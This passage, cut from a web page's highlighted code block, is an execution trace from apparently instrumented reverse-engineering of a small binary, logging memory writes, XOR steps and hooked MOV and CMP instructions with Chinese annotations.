class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x49</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000907: mov esi, <span class="number">0</span>x24</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000921: cmp esi, <span class="number">0</span>x49</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100091b]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x43</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000f66: mov esi, <span class="number">0</span>x23</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000f6b: mov esi, <span class="number">0</span>x2f</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000f81: cmp esi, <span class="number">0</span>x47</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x28</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000b64: mov esi, <span class="number">0</span>x16</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000b7e: cmp esi, <span class="number">0</span>x2d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000b78]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span 